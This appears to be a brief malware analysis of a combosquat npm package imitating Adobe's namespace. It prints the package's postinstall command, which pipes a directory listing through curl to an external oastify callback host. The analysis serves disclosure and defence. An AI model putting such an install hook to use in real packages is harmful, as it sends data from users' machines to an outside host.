Analysis
Combosquat package @adobesign/as-dev-tools@99.9.10 (impersonating Adobe's namespace) with a postinstall hook that runs `ls | curl -d @- hxxps://o5u9v30a13fddwo3ey623df59wfn3er3[.]oastify[.]com`, piping the directory listing of the install directory to an interactsh callback URL via HTTP POST. The package contains no other code — only a package.json with the malicious lifecycle script.
